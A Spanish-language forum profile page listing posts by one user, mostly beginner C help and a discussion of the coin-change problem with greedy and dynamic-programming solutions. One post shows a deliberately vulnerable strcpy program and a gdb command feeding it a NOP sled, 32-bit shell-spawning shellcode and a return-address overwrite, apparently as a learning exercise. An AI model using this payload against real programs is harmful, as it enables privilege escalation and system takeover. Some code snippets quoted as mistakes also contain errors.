Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - GoKGz

#1
Si al parecer hiciste alguna mala instalación de algo, porque ese código debería andar perfecto.
#2
Programación C/C++ / Re: maquina bebida
9 Enero 2017, 13:30 PM
Empezamos por acá:


void bebida(int)
void monedas(int)
void cambio(int)


Faltan todos los ;

     for(20=0;20<=bebida;20++)
     {
      for(50=0;50<=(bebida-20);50++)
      {
      for(60=0;60<=(bebida*2);60++)
      {
           printf("escojer bebida");
      }
      }
      }
}


Eso está mal hecho, deberías verte un video de estructuras de control para C. Acordate siempre segui la recomendación que te dije:

for(20=0;20<=bebida;20++)
{
 for(50=0;50<=(bebida-20);50++)
 {
    for(60=0;60<=(bebida*2);60++)
    {
      printf("escojer bebida");
    }
 }
}


Igual sigue estándo mal, ¿qué es eso de 20=0, 10++?
Está mal, ponte a investigar seguro lo resuelves.

Y me parece que también tenés un error en la resolución de tu problema pero eso ahora no es lo importante.
Aprendé esto, mirate todos los videos o lee un libro como quieras:

https://www.youtube.com/watch?v=GRrqJEgtpa0

Creo que después de ver todos esos videos, deberías empezar a programar desde 0 tu "maquina de bebida"

Saludos.
#3
Programación C/C++ / Re: maquina bebida
9 Enero 2017, 00:46 AM
Hola.

Hay muchos errores en tu código, deberías leerte o ver algún video tranquilo.
Seguro podés solucionarlo sólo, no es tan difícil lo que estás haciendo (o por lo menos eso parece), creo que tenés una mala base, ese es todo tu problema.

Encima que no dejás mucha información sobre lo que estás tratando de hacer.
Cualquier duda, comentála.

Siempre es recomendable seguir esta estructura:

Código de ejemplo:

int main (void){

int a = 20;
int i;

if (a == 10 ){
printf ("Prueba.\n");
}

for (i=0; i<a; i++){
for (j=0; j<a; j++){
printf ("Se lee mejor el código, está más prolijo.\n");
if (a){
prinf ("Es verdad.\n");
}

}
}

return 0;
}

Deja una tabulación o una separación con dos esapcios después de cada condición que se cumple.
No sé si se entiende.

Saludos.
#4
Programación General / Problema de la Moneda
13 Diciembre 2016, 23:52 PM
¿Por qué el problema de la moneda no se soluciona con Greedy? y sí con Programación dinámica?

¿Cuál sería un contraejemplo para el algoritmo greedy?
#5
Código vulnerable:
#include <stdio.h>
#include <string.h>

int main (int argc, char **argv){

char buffer[500];
strcpy(buffer, argv[1]);

puts (buffer);

return 0;
}



Probamos con esta y la dirección del rip queda apuntando a la mitad del tamaño del buffer (dicen que se hace así):
Lo corrimos con gdb con esta entrada
r `perl -e 'print "\x90"x439 . "\x31\xc0\x99\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x89\xc2\x31\xc0\xb0\xa4\xcd\x80\x31\xc0\x99\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\xff\xff\x64\xcd"x10'`


Primero lo llenamos de NOP's luego la shellcode más la dirección de retorno, cabe aclarar estamos en un sistema de 32 bits.

Pero no logramos ejecutar la shellcode, ¿qué estamos haciendo mal?


SOLUCIONADO: Tenía que compilar con -z execstack
#6
Ahí lo estoy viendo, exatamente eso quería gracias
#7
No, vos tenés que encontrar una formula que aplicando esos pasos encuentre el menor numero de operaciones.
#8
Cita de: do-while en  6 Diciembre 2016, 17:34 PM
No se si será lo que buscas o no, pero yo lo plantearía de la siguiente forma.

[latex]n_{0} = 2^{r_{0}}3^{s_{0}}n'_{0},\ \ mcd(2^{r_{0}}3^{s_{0}},n'_{0})=1[/latex]

Así que por narices tendrás que dividir r0 veces por 2 y s0 veces por 3 y al menos harás r0+s0 llamadas.

Si n'0=1 ya habrás terminado, sino, repites el proceso anterior con

[latex]n'_{0} - 1 = n_{1} = 2^{r_{1}}3^{s_{1}}n'_{1},\ \ mcd(2^{r_{1}}3^{s_{1}},n'_{1})=1[/latex]

Así hasta encontrar un n'k = 1.

El problema se traduce en encontrar la máxima potencia, r,  de dos que divide a un número, la máxima potencia, s, de tres que lo divide, sumar los exponentes (r+s) y a esto sumarle el resultado de volver a aplicar el proceso al termino que queda al dividir el número por 2r3s y restarle uno.

A mi me suena más a esto: A(C) = min(1 + A(C-m_1), 1 + A(C-m_2), ..., 1 + A(C-m_k))
Algo con funciones mínimo, es prácticamente igual que el problema de la moneda.


Cita de: MCKSys Argentina en  6 Diciembre 2016, 17:55 PM
No soy un experto en el tema, pero tomando tu ejemplo:

Y si tenemos en cuenta las "reglas" que pones:

Ese si no se cumplen las anteriores haría que tu ejemplo sea inválido. Como 10 es múltiplo de 2, entonces lo que propones como óptimo estaría mal y la 1era solución sería correcta.

Pero, bueh, como dije, no soy experto en el tema y quizás no entendí bien el problema.

Saludos!

La onda es hacer un algoritmo que utilice el menor numero de monedas posibles, por eso puse un contraejemplo de que mi algoritmo no es el mejor, entendes?
#9
Creo que tiene la misma lógica que esto:

Problema de la moneda

El denominado "problema de la moneda" es el siguiente: dados diferentes tipos de monedas, cada uno con un valor diferente, y una cantidad C, ¿cuál es el menor número de monedas necesarias para devolver el cambio C?

Para las monedas del sistema monetario del euro existe una estrategia básica para resolver el problema:

Coge una moneda con el valor V más grande tal que V <= C
Repite desde 1 con el valor C - V hasta que C = 0
Sin embargo, esta estrategia no funciona para valores aleatorios de las monedas. Por ejemplo, si las monedas tienen valores 1, 4 y 6, el número mínimo de monedas para hacer un cambio de 8 es 2 monedas de 4 (cogiendo una moneda de 6 necesitamos como mínimo 3 monedas en total).

En general, para resolver el problema de la moneda tenemos que probar todas las posibles combinaciones de coger monedas. Para la cantidad C, las posibilidades son: coger una moneda del primer tipo, coger una moneda del segundo tipo, etc. En cada caso se genera un subproblema del mismo tipo por resolver. Por ejemplo, si cogemos una moneda de valor 1, recursivamente tenemos que encontrar la mejor manera de devolver el cambio C-1, y sumarle 1 para obtener una posible solución para C. La solución para C es la mejor entre todas estas posibles maneras de coger la primera moneda.

Si denominamos A(C) el subproblema para la cantidad C, una definición resursiva para el problema es:

A(0) = 0 (si la cantidad es 0 no necesitamos ninguna moneda)
A(C) = min(1 + A(C-m_1), 1 + A(C-m_2), ..., 1 + A(C-m_k))

donde k es el número total de monedas y m_i es el valor de la moneda i. Ahora podemos escribir una solución basada en la programación dinámica:


int M[3] = {1, 4, 6};  // tipos de moneda diferentes
int A[100001];
A[0] = 0;
for (int C = 1; C <= 100000; ++C) {
  A[C] = 1000000000; // número grande para empezar
  for (int i = 0; i < 3; ++i)
     if (M[i] <= C && 1 + A[C-M[i]] < A[C])
        A[C] = 1 + A[C-M[i]];
}

Después del bucle el array A contendrá el resultado para cada C en el rango [0, 100000].

engel lex, me das una mano para calcular la formula de la función del principio? Por que esto me preguntaron en el final de Estructura de Datos, aprobé con 6 pero no supe hacer ese ejercicio.

Había que hacer la fórmula y luego programarlo en "programación dinámica"

Agradezco cualquier respuesta.
#10
Esa es tu única respuesta, y medio obvia además?

Jajaja, saludos.